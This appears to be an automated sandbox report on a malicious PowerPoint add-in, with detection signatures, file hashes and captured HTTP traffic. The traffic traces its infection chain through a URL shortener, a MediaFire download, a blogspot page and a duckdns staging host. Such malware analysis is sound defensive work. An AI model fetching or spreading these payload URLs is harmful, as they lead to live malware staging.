Windows Analysis Report Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam

Overview

General Information

Sample Name: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam
Analysis ID: 528751
MD5: 801ebbda05a9a4dab1f22c0cc979e696
SHA1: ac65f3e2a69fa2bed620c315cf5894f0c57be8f4
SHA256: a9fab95f89805a51542cf30800de459ff78eb8a3262642053959ef17c220e5a4
Tags: ppam
Infos:

Most interesting Screenshot:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus detection for dropped file
Creates an autostart registry key pointing to binary in C:\Windows
Creates multiple autostart registry keys
Sigma detected: Suspicious MSHTA Process Patterns
Writes or reads registry keys via WMI
Bypasses PowerShell execution policy
Sigma detected: Change PowerShell Policies to a Unsecure Level
Sigma detected: Microsoft Office Product Spawning Windows Shell
Creates processes via WMI
Machine Learning detection for sample
Sigma detected: MSHTA Spawning Windows Shell
Creates autostart registry keys with suspicious values (likely registry only malware)
Sigma detected: Mshta Spawning Windows Shell
Writes registry values via WMI
Document exploit detected (process start blacklist hit)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses dynamic DNS services
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Stores large binary data to the registry
Document contains an embedded VBA macro which executes code when the document is opened / closed
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Creates a window with clipboard capturing capabilities
Connects to a URL shortener service
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Virustotal: Detection: 38% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\20[1].htm Avira: detection malicious, Label: JS/Dropper.G4
Machine Learning detection for sample
Source: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 67.199.248.16:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.16.203.237:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.91.155.88:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.91.155.88:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.1:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.45:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49176 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.168.9:443 -> 192.168.2.22:49177 version: TLS 1.2
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdbBB source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbrogr source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbiles source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbLE=C source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\mshta.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: j.mp
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 67.199.248.16:443
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 67.199.248.16:443

Networking:

barindex
Uses dynamic DNS services
Source: unknown DNS query: name: www.starinxxxgkular.duckdns.org
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.16.203.237 104.16.203.237
Source: Joe Sandbox View IP Address: 104.16.203.237 104.16.203.237
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /ODOASODOchjdjdsfdrueruebdgbjd HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: j.mpConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /file/95ggilwnqccbq6l/20.doc/file HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: www.mediafire.com
Source: global traffic HTTP traffic detected: GET /7zyqtjrto6xg/95ggilwnqccbq6l/20.doc HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Cookie: ukey=wpgd26kulj39kjvputiz6tvqsvprqjyjConnection: Keep-AliveHost: download2347.mediafire.com
Source: global traffic HTTP traffic detected: GET /p/20.html HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kdaoskdokaodkwldld.blogspot.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/widgets/1529571102-css_bundle_v2.css HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=3903609419317699398&zx=5f07c876-ed15-412f-a301-ebcedf46395e HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/jsbin/403901366-ieretrofit.js HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/widgets/1397508952-widgets.js HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogin.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ServiceLogin?passive=true&continue=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&followup=https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bpli%3D1&go=true HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: accounts.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.html&type=blog&bpli=1 HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogblog/data/1kt/simple/body_gradient_tile_light.png HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: resources.blogblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /blogblog/data/1kt/simple/gradients_light.png HTTP/1.1Accept: */*Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: resources.blogblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /static/v1/v-css/281434096-static_pages.css HTTP/1.1Accept: */*Referer: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.html&type=blog&bpli=1Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.blogger.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s1/20.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.starinxxxgkular.duckdns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/errors/robot.png HTTP/1.1Accept: */*Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Accept: */*Referer: http://www.starinxxxgkular.duckdns.org/s1/20.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s1/20.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.starinxxxgkular.duckdns.orgConnection: Keep-Alive
Connects to a URL shortener service
Source: C:\Windows\System32\mshta.exe DNS query: name: j.mp
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1570Date: Thu, 25 Nov 2021 17:33:57 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1570Date: Thu, 25 Nov 2021 17:34:14 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: mshta.exe, 00000005.00000003.433362142.00000000004D1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp, mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp String found in binary or memory: Content-Security-Policy: script-src 'self' *.google.com *.google-analytics.com 'unsafe-inline' 'unsafe-eval' *.gstatic.com *.googlesyndication.com *.blogger.com *.googleapis.com uds.googleusercontent.com https://s.ytimg.com https://i18n-cloud.appspot.com https://www.youtube.com www-onepick-opensocial.googleusercontent.com www-bloggervideo-opensocial.googleusercontent.com www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri /cspreport equals www.youtube.com (Youtube)
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
